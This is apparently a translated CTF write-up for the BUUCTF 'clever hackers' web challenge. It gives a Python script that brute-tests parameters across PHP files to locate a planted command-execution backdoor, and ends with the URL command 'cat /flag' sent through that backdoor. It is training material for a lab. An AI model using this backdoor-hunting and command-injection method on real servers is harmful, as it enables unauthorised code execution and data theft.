[Web] BUUCTF- clever hackers

Prompt access source code www.tar.gz

 

To the URL plus www.tar.gz can be downloaded

 

Inside Super Multi php file down, screened by a python script Gangster

import os,re
import requests
filenames = os.listdir('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")
for name in filenames:
    print(name)
    with open('D:/anquan/localtest/PHPTutorial/WWW/CTFtraining/BUUCTF/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'echo "got it"'
            flag = 'got it'
            # command = 'phpinfo();'
            # flag = 'phpinfo'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name + '?' + passwd + '='+ command)
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('GET:  ' + passwd)
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://127.0.0.1/CTFtraining/BUUCTF/src/' + name,data={passwd:command})
                if "got it" in r.text:
                    print('backdoor file is: ' + name)
                    print('POST:  ' + passwd)
        except : pass

 

 I refer directly to the online wp deleted before the beginning of the x, walked for a long time (php version to use more than 7)

 

Access xk0SzyKwfzw.php? Efa5BVG = cat / flag to get flag